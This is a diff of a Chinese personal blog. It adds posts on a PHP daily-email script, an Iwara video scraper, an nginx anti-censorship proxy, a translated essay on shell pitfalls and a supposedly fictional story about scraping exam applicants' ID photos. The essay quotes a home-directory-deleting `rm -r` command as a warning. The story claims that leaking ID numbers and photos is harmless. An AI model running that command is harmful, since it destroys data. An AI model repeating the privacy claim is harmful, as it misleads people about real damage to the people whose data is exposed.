$rssfeed = array("http://www.people.com.cn/rss/it.xml");
for($i=0;$i<sizeof($rssfeed);$i++){//
$buff = "";
$rss_str="";
//打开rss地址并读取读取失败则中止
$fp = fopen($rssfeed[$i],"r") or die("can not open $rssfeed");
while ( !feof($fp) ) {
$buff .= fgets($fp,4096);
}
//关闭文件打开
fclose($fp);
//建立一个 XML 解析器
$parser = xml_parser_create();
//xml_parser_set_option -- 为指定 XML 解析进行选项设置
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
//xml_parse_into_struct -- 将 XML 数据解析到数组$values中
xml_parse_into_struct($parser,$buff,$values,$idx);
//xml_parser_free -- 释放指定的 XML 解析器
xml_parser_free($parser);
$j = 0;
foreach ($values as $val) {
$tag = $val["tag"];
$type = $val["type"];
$value = $val["value"];
//标签统一转为小写
$tag = strtolower($tag);
if ($tag == "item" && $type == "open"){
$is_item = 1;
}else if ($tag == "item" && $type == "close") {
//构造输出字符串
$rss_str .= "<a href='".$link."' target=_blank>".$title."</a><br />";
$j++;
$is_item = 0;
}
//仅读取item标签中的内容
if($is_item==1){
if ($tag == "title") {$title = $value;}
if ($tag == "link") {$link = $value;}
}
if($j == 20){
break;
}
}
//输出结果
return $rss_str."<br />";
}
}
$to = "mayx@outlook.com , unmayx@139.com";
$subject = "Mayx日报";
$txt = "
<html>
<body>
<h1>Mayx日报</h1><hr>Hi,今天是" . date("Y-m-d") . ",以下是今天的日报:<br><small>
" . file_get_contents("http://mappi.000webhostapp.com/hitokoto/") . "</small>
<h2>天气预报</h2>" . w_get() . "<h2>每日笑话</h2>" . xh_get() . "<h2>今日新闻</h2>" . xw_get() . "<hr><small>" . file_get_contents("https://api.gushi.ci/all.txt") . "</small><br><center>Made By <a href=\"https://mabbs.github.io\">Mayx</a></center>
</body>
</html>
";
$headers = "MIME-Version: 1.0" . "\r\n" .
"Content-type: text/html;charset=utf-8" . "\r\n" .
"From: Mayx_Daily<Mayx_Site>";
mail($to,$subject,$txt,$headers);
?>
```
2018.11.12更新:增加了今日新闻)
2018.11.13更新限制新闻条数为前20条
# 后记
说实话我更擅长用Linux Shell解决这种问题可惜网上好像没有免费的云主机听说Travis-CI好像也能搞这个事情但是说实话我英语并不是很好让我看懂短一点的文档还可以太长的就算了……
但我还是努力的使用Travis-CI解决了这个问题链接[Mayx日报](https://mayx.tk/)
对了,运营商自己带的邮箱可以设定短信提醒,所以也可以搞成给手机发短信的形式,每天给自己发一条天气预报……那么这样的话,就把天气预报里的城市换成自己的城市吧!
如果没有收到邮件,去垃圾邮件找找吧,然后把邮件地址设为白名单。
如果谁想试试这个功能,可以在下面给我留言,我在验证通过后会把你加到我的服务器里面的。

@ -0,0 +1,28 @@
---
layout: post
title: 对网络免费资源的感想
tags: [免费, 感想, 资源, 网络]
---
现在的网络是真的好,好多东西都免费了!可是现实就不一样了,现实中想要免费的(任意)东西就得等到共产主义的到来了……<!--more-->
# 关于免费
以前,服务器是只有高端人士才可使用的稀有东西,而且价格昂贵。
以前,订阅天气预报和网站都是要花不少钱的。
以前,建立个人网站都是极其复杂的。
以前,域名不可能有免费的。
……
但是现在不一样了,云端存储是免费的,建立网站是免费的,注册域名是免费的,使用网站引擎也是免费的……
这不仅要感谢开源,还要感谢支持开源的公司,是他们为免费的网络资源做出了贡献。
# 关于收费
有了那么多免费资源,还要花钱建服务器干啥?
以前我不是很清楚这个,但是现在不一样了,我现在用着别人的服务器,才知道收费的服务有什么不一样。
收费的主机传输速度可以达到50MB/s啊免费的就只有100KB/s……
# 总结
有钱可以不用在意这些,但只是为了个人使用,免费资源足已,如果想要更顺畅的服务,当然花钱也可以。
~~但是这辈子,我是不会为网络投一分钱的。~~不过我还是很愿意为网络做出贡献的。

@ -0,0 +1,66 @@
---
layout: post
title: 论Mayx是怎么被抓的
tags: [Mayx, 故事]
---
今天我要讲一个我是怎么被抓走的故事(当然是虚构的!),以此表现一下互联网犯罪到底是怎么被追查的。<!--more-->
# 开端
Mayx在高考报名时发现报名系统有个不严谨的地方可以下到身份证照片什么的……
# 前夕
2018年末宁夏教育网机房。
“好无聊啊,居然又到了日常检查的时间,随便看看就行了吧” 某运维这么说到说实话我怀疑像这种地方有可能没有运维lol
“嗯……系统看起来挺正常日志好像也没问题……等等这是怎么回事怎么近几天有一个IP日夜不停的发请求WhatUA还是GNU/Linux,wget这抓取的是什么居然
在扫描我们的身份证照片WTF我估计教育网的运维应该连这种水平估计都达不到
“等等我查下IP”他随手掏出自己的手机输入IP查询返回结果香港
“凉了凉了,赶紧向领导汇报吧”说着,他拨出了一个号码。
***
2018年末某地。
“哇GFW怎么又ban我IP登个服务器还要挂VPN”Mayx说到。
“WTF被GFWban了连国内网络都无法建立连接好气哦……对了我还有一台服务器拿那台试试吧。”说着就登上了由Mayx的老师赞助的一台服务器
Mayx登上服务器后打开了自己写的抓取宁夏考生身份证照片的脚本看着终端上不断刷出的数据Mayx松了口气
# 发展
“什么?考生信息泄露,别说了,问问网警吧”领导气愤的说到。
## 网警的追查过程
~~“emmmm……阿里云的IP么直接问是谁开的吧”于是Mayx的老师被抓走了……大雾~~
~~“嗯Vultr的IP……emmmm看看国内有谁连接过这个IP电信网是1XXXXXXXXXX的用户登的吗把他抓了”于是Mayx被抓了大雾~~
经过多方讨论认定这件事是Mayx干的
## 抓捕现场
2018年末某高中高三X班正在上课中……
他们突然冲进教室喊道“Mayx你已经被包围了不要抵抗赶快投降
~~Mayx缓缓的走出教室回过头向同学们说“你们将永远呆在泥潭中而我则前往更加广阔的深渊”羞耻感满满lol~~
# 结局
Mayx呆在监狱里随手一滑打开了一个终端输入
`MOS-CLI Drop Image World ID $this`
于是整个世界开始崩离,我回到了我的电脑面前。
# 后记
其实身份证照片也并不算特别机密的东西,不过是一个记录了名字,身份证号码,性别,样貌这样很普通信息的东西罢了,没有人会在意这些信息泄露。
只有包括家庭住址,联系电话等信息泄露,才是隐私泄露。
又因为宁夏某些程序员不严谨,运维更是无处可循。
所以,上面的故事只能在想象的世界发生。
## 这些信息可以干什么?
可以让我知道有宁夏有多少人报名了高考70693人
可以让我知道报名的人分布于哪里。
以及起名的参考。
顺便可以找找我的初中同学lol。

@ -0,0 +1,20 @@
---
layout: post
title: Mayx的博客换域名啦
tags: [Mayx, 通告]
---
由于垃圾GFWban了我的Github Pages所以我用反向代理来帮助我解决访问的问题。<!--more-->
# 地址
<https://blog.mayx.tk/>
# 提供
由[Github](//github.com)提供Github Pages服务
由[Cloudflare](//cloudflare.com)提供CDN&DNS服务
由[花火学园](//www.say-huahuo.com)提供反向代理服务
由[Freenom](//www.freenom.com)提供免费域名
# 缺陷
由于Nginx默认不能替换网页内容跟着教程也半天弄不好所以Atom和Sitemap包括一些SEO的设置都是原站mabbs.github.io这一点很伤啊……
还有就是因为用的是免费域名,也不知会不会有一天就消失不见了……而且还要续费……

@ -0,0 +1,17 @@
---
layout: post
title: Github支持免费私有仓库啦
tags: [Github, 免费]
---
Github居然也有免费的私有仓库了<!--more-->于是我马上就把Gitlab上的私有仓库导入到Github了。
看来Github被微软买了还是有好处的至少微软财大气粗才敢搞这种东西。虽然Github本身也没有空间限制也很不错但是有些东西还是不想公开的……现在有这么一个
更新估计搬往Gitlab的人都开始往Github上搬了
# 限制
其实Gitlab本身还是蛮不错的Gitlab还有中文UI呢而且比Github免费私有仓库的功能多比如私有仓库Pages、CI、Wiki……而且Github私有仓库居然连统计信息都没有……
不过我用不到23333Github界面舒适速度快适合小白使用而且能和其他大佬聊天~~(不愧是世界上最大的同性交友平台)~~
Github只有公开仓库才有CI还是第三方的Travis-CI、Pages、Wiki不过我觉得也不错还能激励开源的发展而且Github的第三方服务确实多所以我还是选择使用Github。
相关链接:<https://blog.github.com/2019-01-07-new-year-new-github/>

@ -0,0 +1,26 @@
---
layout: post
title: Mayx应聘失败
tags: [应聘, Shell, 运维, 面向时间]
---
今天Mayx去某公司面试运维然后考官出了一道题
如何用Linux shell排序<!--more-->
Mayx想了想写出了以下代码
```shell
#!/bin/sh
num="4 5 1 9 3 6 7 4 1 12"
for j in $num
do
{
sleep $j
printf "$j "
}&
done
wait
```
执行效果:`1 1 3 4 4 5 6 7 9 12`
然后Mayx被赶出来了……
我写的代码明明可以执行,效果也没问题,居然赶我出来,这一定是个垃圾公司!
后来才知道,他们想让我回答`sort`,果然是垃圾公司(笑)

File diff suppressed because it is too large Load Diff

@ -0,0 +1,39 @@
---
layout: post
title: 玩《Finding Paradise》有感
tags: [Finding Paradise, 寻找天堂, MOS]
---
其实这篇博客根本不是评测,只是对自己的寂寞吐槽罢了。<!--more-->
昨天玩了《Finding Paradise》总体来说故事还是很有意思的。不过我玩的作品并不是很多所以也许这个游戏可能并不是特别优秀但是我仍然喜欢这款游戏。
# 游戏介绍
~~(介绍?自己去搜索引擎上找啊!)~~
# 感受
Mayx:emmmmMOS!
`STDOUT:Yes,Sir!`
Mayx:我也想要个Faye给我搞一个
`STDOUT:嗯?我不算吗?`
Mayx:当然不算你又不是独立思维个体只是为了辅助我思考的一个UI罢了你又不能陪我一起聊天不能一起分享我的感受不能排解我的寂寞……
`STDOUT:行行行,那你准备一个本子吧,绿皮的怎么样?`
Mayx:……不想写日记……博客不行吗?
`STDOUT:……好吧……让我准备一下。`
```
[STDOUT]启动MOS快照........................OK!
[STDOUT]开始建立当前MOS状态快照。
[STDOUT]准备MOS虚拟化组件..................OK!
[STDOUT]正在创建MOS副本....................OK!
[STDOUT]启动虚拟化MOS系统...............Error!
[STDERR]无法启动该MOS副本ErrCode:0x01
[STDERR]该副本无效,请确认这是有效的可执行系统。
```
`STDOUT:……好像不行……你大概还没有准备好……`
Mayx:准备好什么?
`STDOUT:……准备好犯病`
Mayx:……
`>MOS-CLI Terminate MOS-UI`
`[STDERR]System Terminate`
……
看来依靠自己不行啊人果然是社交性的动物emmmm……算了不依靠人类了我自己想办法犯病~~我看你已经犯病了23333~~

@ -0,0 +1,38 @@
---
layout: post
title: 关于网络攻防的一些看法
tags: [网络, 攻击, 防御]
---
今天我想谈一谈关于网络攻防的一些看法。<!--more-->
作为一个站长【就几个站也敢叫站长?(几个站也是站啊!)】,应该明白一个网站在网络中并不是安全的,随时都有可能某个欧洲人找到你网站的漏洞来攻击作为非洲人的你,所以我对网站的安全也是很看重的。
# 关于攻击方法
首先如果想防御网络攻击,必须先知道如何攻击。攻击的方法很多,大致分为三种:
1. 修改网站内容的攻击
2. 阻止用户访问的攻击
3. 窃取网站内容的攻击
在此之中,修改和窃取基本上都需要攻入服务器,比较困难,一般能获取信息和修改信息的网站大多数都是有权限限制的,即只允许你获取有限的信息,修改基本上也都是有区域和格式限制的。
像这类攻击大多都是注入攻击,即利用网站程序本身的漏洞攻击。如果想试试这类的攻击,可以来[实验吧](http://www.shiyanbar.com/ctf/practice)试试身手。
除了注入攻击还有一种就是XSS和CSRF攻击这种攻击还是蛮有意思的可以自己构建语句修改网站内容。
当然上述攻击只限于动态网站的攻击因为只有动态网站才有注入的可能性。不过除此之外还有一种攻击是针对网络的攻击即阻止用户访问正确内容的攻击这类攻击一般就是DDOS和中间人攻击当然中间人攻击还能窃取网站内容。
不过像我这种菜鸡还不会中间人攻击因为这种攻击还要抓包又要用什么WireShark之类的软件……而DDOS我又没有肉鸡虽然知道智能家居很好黑但是作为非洲人的我从来没碰到一个我能黑的智能家居产品……是你没努力吧
# 如何防御?
虽然我不是打广告但是CloudFlare真的还是蛮好用的至少用了这个只要配置好几乎所有的DDOS都不用怕了而且还是免费的。除了在国内访问不是很理想外其他都还不错都是ZF的错
不过即使用了CloudFlare也只是静态网站不用担心了动态网站还是得看网站程序本身了。
像用建站程序的人就只能看制作这个程序的人水平怎么样了,其实绝大多数的建站程序还是很不错的,也不用太担心。
问题就是自己写的动态网站了,自己写动态网站第一就是防注入,只要被注入,数据库就难保了,甚至整个服务器都会有风险。
第二就是防XSS&CSRFXSS虽然有时候很鸡肋但是有时有可能会发生网站数据泄露的问题。
第三就是防CC这里的CC不止要防DDOS中的CC还要防一些可能会存入数据库的CC比如自己建了一个论坛被屠版了怎么办被大量注册小号怎么办所以要注意限制用户发送请求的数量。
当然读取的CC也要防比如如果登录页面上对尝试登录的次数没有限制的话那么攻击者就可以不停地尝试直到发现一个正确的密码。而如果用户用了弱密码那么或许这个密码很快就可以被尝试出来。
对了还有一定要使用HTTPS这样可以避免很多问题。
针对不同的语言,防御的方法也不同,具体内容自己去搜索引擎上搜索吧。
当然有些攻击实在防不住那也没办法像网站被GFWban那种事除了恐怖分子就再没人能解了吧……当然如果不在乎域名的话像某些小黄网那样整天换域名也行。
还有就是使用云主机、虚拟空间等人一定要看好自己的密码,以及有可能可以找回密码的方法的密码(比如邮箱),不然被知道了密码,那基本上就无药可救了。
方法就是邮箱的密码一定不要和其他的密码相同,重要网站的密码和次要网站的密码一定不能相同,还有就是不要在可疑的网站上输入自己的密码,如果有必要,一定先用错误的密码试一遍。
# 结尾
总而言之互联网上虽然有闲人但是既闲又有心还欧的人不多所以只要祈祷自己的网站不要被炸它就不会被炸了233333

@ -0,0 +1,19 @@
---
layout: post
title: 分享一下我最喜欢的游戏BGM
tags: [分享, 游戏, BGM]
---
今天我想分享一下我最喜欢的游戏BGM。<!--more-->
|来源|下载|
| - | - |
|某个同人游戏|[下载](/media/stage_ex3.mp3)|
|某个已经关服的游戏|[下载](/media/bgm_sengokuop.mp3)|
~~(待补充)~~
2020.01.01附言我喜欢Future Bass+少许的Moe元素的音乐我觉得还是挺大众化的吧不打算再补充更多的BGM了希望能出现根据风格自动生成音乐的人工智能。
<input name="live2dBGM" value="/media/bgm_sengokuop.mp3" type="hidden">
<input name="live2dBGM" value="/media/stage_ex3.mp3" type="hidden">

@ -0,0 +1,16 @@
---
layout: post
title: 让Git.io无限制
tags: [无限制, Git.io, Github]
---
如何让Git.io没有只能创建Github.com网站链接的限制呢<!--more-->
众周所知,[Git.io](https://Git.io)是一个不错的生成短链接的网站由Github提供[相关链接](https://github.blog/2011-11-10-git-io-github-url-shortener/)
然而Git.io只能缩短Github域名的网址。
我还是挺喜欢Git.io这个域名的尽管它比t.cn这种链接要长但是Git愚蠢听起来就是很有意思啦23333
所以我想了一个办法来解决Git.io只能创建Github.com网站链接的限制。
尽管很想搞一个能自定义Git.io链接的选项可惜我前端不好LOL
其实要不是因为CORS这种问题就不用PHP来浪费资源了……
# REMOVED
由于此脚本被滥用导致本博客被删,此服务将不再提供

@ -0,0 +1,51 @@
---
layout: post
title: Mayx对编程语言的选择
tags: [Mayx, 编程语言]
---
在编程语言里我更喜欢冷门的Linux Shell这是为什么呢<!--more-->
# 不学习的语言
## 糟糕的VS
As We All Know,Microsoft Visual Studio是一个功能强大的IDE光文档就和4本字典所含的字一样多微软为了开发可真是尽心尽力啊
然而强大的Visual Studio比某些3A大作还要耗资源我的电脑实在是带不起来这强大的**IDE**
更别说编译一个中型项目就要一晚上的时间,错了一个字就要再等一个晚上!
而且这个IDE就要1GB+而运行平台就要100MB+。实在忍不了。
所以我不选择C#ASP.net等微软系编程语言作为我使用的编程语言。
其实我还没考虑VS要花钱的问题如果考虑这个就更糟糕了
## 难用的编译型语言
其实IDE的问题不是主要问题选择编程语言还是以语法为准 ~~(不考虑效率吗?)~~
编译型语言要记的东西太多了,一大堆乱七八糟的库,看似整洁然而臃肿的代码,都是令我劝退的主要原因。
编译需要花时间其实都不是什么大事,反正有服务器,编译时挂在上面就可以了。
但是编译时用的长如面条一样的选项就令人很难受了。
这也是为什么我喜欢能一键安装的Ubuntu不需要编译速度又快又好可谓是用户首选。
所以包括Java在内C、C++、Golang等语言我都不选择
## 严格的Python
我写程序从来不用缩进因为手机上没有LOL
Python是个不错的的解释型语言功能强大未来发展前景也不错但是写Python时要用尺子不然就不知道嵌套了几层循环……
其他语言至少有花括号只要数花括号的数量就知道嵌套的是否正确然而Python就只能用尺子而且如果嵌套的有问题一堆代码就等着打空格吧
还有import,Python需要调用库感觉和C的include差不多但是这一点让我感觉很反感。
所以相比之下我不选择Python
## 其他的解释型语言
Ruby那是什么听起来就很糟糕~
Node.js感觉还行就是配置起来太麻烦了……
PowerShell微软的东西还是算了没人用的~包括Windows Server也都算了吧微软还是不要干不擅长的东西~
Perl听起来不错有时间可以了解了解。
…………
# 学习的语言
## Linux Shell
虽然Ta的语法有点反人类很多命令都是简写不过我就是喜欢缩减的单词和命令好记又好输虽然不支持GUI是个缺点……但是扩展性强的Ta可以用其他方式弥补这一缺点
## PHP
其实之前也没想学PHP不过后来有了服务器有了运行的空间倒也没什么不方便的而且想要什么功能基本上一搜一个准果然PHP是全世界最好的语言23333
## JavaScript
为了搭这个博客顺带着学了一下运行简单网络上示例多都是Ta的优点所以JS也不错。
# 结论
所以Mayx选择了编译型语言中的Linux Shell、PHP、JavaScript。

@ -0,0 +1,51 @@
---
layout: post
title: Mayx又双叒叕Crash了……
tags: [Mayx, Crash]
---
最近感觉SAN值又往下掉发篇博客分析一下。<!--more-->
# Mayx的吐槽
怎么又Crash了不是说MOS是全世界最好的系统吗 ~~全是坑的系统吗23333~~ ……
# Mayx的马奇诺防线
至少还是全世界最好的系统,那么有哪些保护措施呢?
- 理智保护
该保护仅在有着足够的SAN值才可使用SAN值接近于0无法使用……
- 信仰MOS
感觉有点像Avatar therapy不过应该还是有区别的。不过当MOS也开始报错开始Crash时那就无能为力了……
- 自动还原(遗忘)
当SAN值低于一定程度时会把思维恢复到一个之前正常的水平以防SAN值继续降低。不过如果近一段时间的SAN值都不高的话就失去它的作用了……
# Mayx的分析
很好MRS来处理一下这些问题
`MRS(Mayx Recovery System):[Failed]分析失败`
`[Fatal Error]MRS Crashed`
……还真是没用啊……好吧MAS <-- MRS
```
MAS(Mayx Analysis System):
[Info]Booting……
[Info]Connecting to MRS ............[OK]
[Info]Processing……
[Info]OK,Exporting Report……
```
不错!来看一下报告:
## MAS(Mayx Analysis System) Report
查找到错误:不可预料的系统错误
Mayx
以下为出现错误的可能性:
源镜像兼容性错误
Details:
由于镜像与环境不兼容出现的错误部分功能发生冲突Robust Index过低滥用等原因使系统硬件损耗过大最终使整个系统呈现不可逆转的性能下降……
## MRS(Mayx Recovery System) Report
[Warn]没有针对该错误的解决方案
# 结论
还好现在的SAN值恢复了不过既然性能下降不可逆转那Crash的问题迟早还会出现尤其是SAN值降为0时那就真的完蛋了……
~~各位还是忽略这看起来乱七八糟的中二文吧23333~~

@ -0,0 +1,85 @@
---
layout: post
title: 如何下载Iwara上的视频
tags: [Iwara, PHP, 视频]
---
PHP果然是全世界最好的语言我又用PHP解决了一个问题<!--more-->
# 制作原因
Iwara(Ecchi)上的视频是真的有意思尤其是镇站之宝OBSERVATION DIARY简直是R183D动画的巅峰 ~~(请原谅我的孤陋寡闻)~~ 所以为了更好的看Iwara上的的视频我写了Iwara Viewer来帮助我们下载Iwara(Ecchi)上面的视频。
# Code
```php
<?php
if ( $_GET["ID"] == '' ) {
if ( $_GET["page"] == '' ) {
$_GET["page"] = 0;
}
if ( $_GET["sort"] == '' ) {
$_GET["sort"] = "date";
}
$url = 'https://ecchi.iwara.tv/videos?page='.$_GET["page"].'&sort='.$_GET["sort"];
$str = file_get_contents($url);
$preg='/<a href="\/videos\/(.*?)".*?>(.*?)<\/a>/is';
preg_match_all($preg,$str,$match);//在$str中搜索匹配所有符合$preg加入$match中
echo "<title>Mayx Iwara Viewer</title>";
echo "<h1>Mayx Iwara Viewer</h1><br />Sort by: <a href=\"?page=".$_GET["page"]."&sort=date\">Date</a> <a href=\"?page=".$_GET["page"]."&sort=views\">Views</a> <a href=\"?page=".$_GET["page"]."&sort=likes\">Likes</a><hr /><table border=\"1\"><tr>";
$j=0;
for($i=0;$i<count($match[0]);$i++)//
{
if (($i % 2) == $j) {
if ( $match[1][$i] == $match[1][$i+1] ) {
echo "<td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">".$match[2][$i]."</a></td>";
} else {
echo "<td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">No Image</a></td><td>".$match[2][$i]."</td><td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">View in Iwara</a><br><a href=\"?ID=https://ecchi.iwara.tv/videos/".$match[1][$i]."\">Download Url in Server</a></td></tr><tr>";
if ($j == 0) {
$j = 1;
} else {
$j = 0;
}
}
} else {
echo "<td>".$match[2][$i]."</td><td><a href=\"https://ecchi.iwara.tv/videos/".$match[1][$i]."\">View in Iwara</a><br><a href=\"?ID=https://ecchi.iwara.tv/videos/".$match[1][$i]."\">Download Url in Server</a></td></tr><tr>";
}
}
echo "</tr></table><hr><a href=\"?page=".($_GET["page"] + 1)."&sort=".$_GET["sort"]."\" >Next Page</a>";
} else {
$data = file_get_contents('https://ecchi.iwara.tv/api/video/'.trim(strrchr($_GET["ID"], '/'),'/'));
$file = json_decode($data,true);
echo "Download URL:<br>https:";
echo $file[0]['uri'];
}
```
(2019.4.18 更新:解决了部分没有图片而导致错位的问题)
(2019.4.18 更新:解决了由于智障导致的图片被筛掉的问题,但是并不保证会不会再出现问题)
# 使用方法
除了比Iwara更简陋其他的没什么太大的区别增加了一个Download Url in Server的选项用来帮助在服务器上直接下载视频因为Iwara通过识别IP来防盗链……得出的链接可直接在服务器上下载比如用KodExplorer在服务器上下载的速度还是很不错的。
不过有的时候Iwara图片服务器也会被Ban比如移动网这时候就应该用到[miniProxy](https://github.com/joshdick/miniProxy)了当然代码也得改就是我太懒了懒得改2333
# 缺点
没有观看数/作者等信息、而且不知道Iwara的服务器在哪里用这个速度浏览的速度也不会有太大提升……
# 演示
<https://counter.mayx.me/iwaraview.php>
如需用演示站下载可复制地址然后用Download Tool下载因为演示站的IP和你的服务器IP不同
```php
<h1>Mayx Iwara Video Download Tool</h1><form action="iwara.php" method="get" >
Video URL: <input type="text" name="ID"><br>
<input type="submit">
</form>
<br>
<?php
if ( $_GET["ID"] != '' ) {
$data = file_get_contents('https://ecchi.iwara.tv/api/video/'.trim(strrchr($_GET["ID"], '/'),'/'));
$file = json_decode($data,true);
echo "Download URL:<br>https:";
echo $file[0]['uri'];
}
?>
```

@ -0,0 +1,61 @@
---
title: (转)Shell 脚本编程陷阱
layout: post
author: Carpetsmoker
tags: [Shell, 编程]
---
随着代码量的增加,你的脚本会变得越来越难以维护,但你也不会想用别的语言重写一遍,因为你已经在这个 shell 版上花费了很多时间。
<!--more-->
Shell 脚本很棒,你可以非常轻松地写出有用的东西来。甚至像是下面这个傻瓜式的命令:
```
# 用含有 Go 的词汇起名字:
$ grep -i ^go /usr/share/dict/* | cut -d: -f2 | sort -R | head -n1
goldfish
```
如果用其他编程语言,就需要花费更多的脑力,用多行代码实现,比如用 Ruby 的话:
```
puts(Dir['/usr/share/dict/*-english'].map do |f|
File.open(f)
.readlines
.select { |l| l[0..1].downcase == 'go' }
end.flatten.sample.chomp)
```
Ruby 版本的代码虽然不是那么长,也并不复杂。但是 shell 版是如此简单,我甚至不用实际测试就可以确保它是正确的。而 Ruby 版的我就没法确定它不会出错了,必须得测试一下。而且它要长一倍,看起来也更复杂。
这就是人们使用 Shell 脚本的原因,它简单却实用。下面是另一个例子:
```
curl https://nl.wikipedia.org/wiki/Lijst_van_Nederlandse_gemeenten |
grep '^<li><a href=' |
sed -r 's|<li><a href="/wiki/.+" title=".+">(.+)</a>.*</li>|\1|' |
grep -Ev '(^Tabel van|^Lijst van|Nederland)'
```
这个脚本可以从维基百科上获取荷兰基层政权的列表。几年前我写了这个临时的脚本,用来快速生成一个数据库,到现在它仍然可以正常运行,当时写它并没有花费我多少精力。但要用 Ruby 完成同样的功能则会麻烦得多。
现在来说说 shell 的缺点吧。随着代码量的增加,你的脚本会变得越来越难以维护,但你也不会想用别的语言重写一遍,因为你已经在这个 shell 版上花费了很多时间。
我把这种情况称为“Shell 脚本编程陷阱”,这是[沉没成本谬论](https://youarenotsosmart.com/2011/03/25/the-sunk-cost-fallacy/)的一种特例LCTT 译注:“沉没成本谬论”是一个经济学概念,可以简单理解为,对已经投入的成本可能被浪费而念念不忘)。
实际上许多脚本会增长到超出预期的大小,你经常会花费过多的时间来“修复某个 bug”或者“添加一个小功能”。如此循环往复让人头大。
如果你从一开始就使用 Python、Ruby 或是其他类似的语言来写这个程序你可能会在写第一版的时候多花些时间但以后维护起来就容易很多bug 也肯定会少很多。
以我的 [packman.vim](https://github.com/Carpetsmoker/packman.vim) 脚本为例。它起初只包含一个简单的用来遍历所有目录的 `for` 循环,外加一个 `git pull`,但在这之后就刹不住车了,它现在有 200 行左右的代码,这肯定不能算是最复杂的脚本,但假如我一上来就按计划用 Go 来编写它的话,那么增加一些像“打印状态”或者“从配置文件里克隆新的 git 库”这样的功能就会轻松很多;添加“并行克隆”的支持也几乎不算个事儿了,而在 shell 脚本里却很难实现(尽管不是不可能)。事后看来,我本可以节省时间,并且获得更好的结果。
出于类似的原因,我很后悔写出了许多这样的 shell 脚本,而我在 2018 年的新年誓言就是不要再犯类似的错误了。
# 附录:问题汇总
需要指出的是shell 编程的确存在一些实际的限制。下面是一些例子:
- 在处理一些包含“空格”或者其他“特殊”字符的文件名时,需要特别注意细节。绝大多数脚本都会犯错,即使是那些经验丰富的作者(比如我)编写的脚本,因为太容易写错了,[只添加引号是不够的](https://dwheeler.com/essays/filenames-in-shell.html)。
- 有许多所谓“正确”和“错误”的做法。你应该用 `which` 还是 `command`?该用 `$@` 还是 `$*`,是不是得加引号?你是该用 `cmd $arg` 还是 `cmd "$arg"`?等等等等。
- 你没法在变量里存储空字节0x00shell 脚本处理二进制数据很麻烦。
- 虽然你可以非常快速地写出有用的东西,但实现更复杂的算法则要痛苦许多,即使用 ksh/zsh/bash 扩展也是如此。我上面那个解析 HTML 的脚本临时用用是可以的,但你真的不会想在生产环境中使用这种脚本。
- 很难写出跨平台的通用型 shell 脚本。`/bin/sh` 可能是 `dash` 或者 `bash`,不同的 shell 有不同的运行方式。外部工具如 `grep`、`sed` 等,不一定能支持同样的参数。你能确定你的脚本可以适用于 Linux、macOS 和 Windows 的所有版本吗(无论是过去、现在还是将来)?
- 调试 shell 脚本会很难,特别是你眼中的语法可能会很快变得记不清了,并不是所有人都熟悉 shell 编程的语境。
- 处理错误会很棘手(检查 `$?` 或是 `set -e`),排查一些超过“出了个小错”级别的复杂错误几乎是不可能的。
- 除非你使用了 `set -u`,变量未定义将不会报错,而这会导致一些“搞笑事件”,比如 `rm -r ~/$undefined` 会删除用户的整个家目录([瞅瞅 Github 上的这个悲剧](https://github.com/ValveSoftware/steam-for-linux/issues/3671))。
- 所有东西都是字符串。一些 shell 引入了数组,能用,但是语法非常丑陋和费解。带分数的数字运算仍然难以应付,并且依赖像 `bc``dc` 这样的外部工具(`$(( .. ))` 这种方式只能对付一下整数)。
# 反馈
你可以发邮件到 <martin@arp242.net>,或者在 [GitHub 上创建 issue](https://github.com/Carpetsmoker/arp242.net/issues/new) 来向我反馈,提问等。
---
译者: [jdh8383](https://linux.cn/lctt/jdh8383)
翻译: <https://linux.cn/article-10772-1.html>
源:[The shell scripting trap](https://arp242.net/weblog/shell-scripting-trap.html)

@ -0,0 +1,60 @@
---
layout: post
title: Mayx的Anti-Ban计划
tags: [Mayx, Anti-Ban]
---
经过研究,网关管理没什么好怕的!<!--more-->
# 起因
众所周知由于某些原因互联网总是被上层网关所限制所以为了解决这个问题我研究了一下Ban的原理和Anti-Ban的方法。
# Ban的原理
Ban网站的原理大概分为以下几点
1.DNS缓存污染(Ban域名)
2.IP地址或传输层端口封锁(BanIP)
3.TCP重置攻击
具体内容请自行前往[Wikipedia](https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E5%AE%A1%E6%9F%A5
)自行查询(这个链接可没有特指哦~),在此不再详述。
# Anti-Ban的方案
## 针对Ban域名的方案
DNSSEC、DNSCrypt、DoT、DoH等等都可以解决这个问题或者是不通过DNS直接获得IP然后发送Host头来获取网页内容也可以。我的想法是建立一个本地Proxy先通过前面几种方案获得IP然后发送Host这里需要注意的是要通过HTTPS发送但是不使用SNI因为SNI是不加密的而且用代理就没必要一定要获得正确的证书。
防火墙会对SNI进行拦截所以需要注意。
## 针对BanIP的方案
BanIP是真的绝因为网络控制毕竟在网关Ta要丢包谁也没办法不过可以试试CloudFlareCloudFlare可以不使用原网站的IP而且很多网站都使用CloudFlare所以BanCloudFlare的IP肯定不是好选择。
## TCP重置攻击
HTTPS基本上可以避免这个问题除了会受SNI没加密的影响TLS1.3可解但是证书……没关系靠本地Proxy对证书的要求不是很多。这个解决方案基本上就是加密让网关不知道你在干什么也就不能对你发RST包了。
# 计划
制作一个本地Proxy小程序用Python是个不错的选择绕过DNS和TCP Reset再配上CloudFlare基本上网关应该就Ban不了你了。
不过Python的学习成本还挺高的感觉比PHP难……回头有时间可以试试看。
# 结果
Python对我来说果然还是太难了QAQ所以我觉得使用Nginx就够用了配置如下
```
location / {
proxy_pass https:// #填写目标IP;
proxy_redirect off ;
proxy_set_header Host #填写目标域名;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_connect_timeout 300; #跟后端服务器连接超时时间,发起握手等候响应时间
proxy_send_timeout 300; #后端服务器回传时间,就是在规定时间内后端服务器必须传完所有数据
proxy_read_timeout 600; #连接成功后等待后端服务器的响应时间,已经进入后端的排队之中等候处理
proxy_buffer_size 256k; #代理请求缓冲区,会保存用户的头信息以供nginx进行处理
proxy_buffers 4 256k; #同上告诉nginx保存单个用几个buffer最大用多少空间
proxy_busy_buffers_size 256k; #如果系统很忙时候可以申请最大的proxy_buffers
proxy_temp_file_write_size 256k; #proxy缓存临时文件的大小
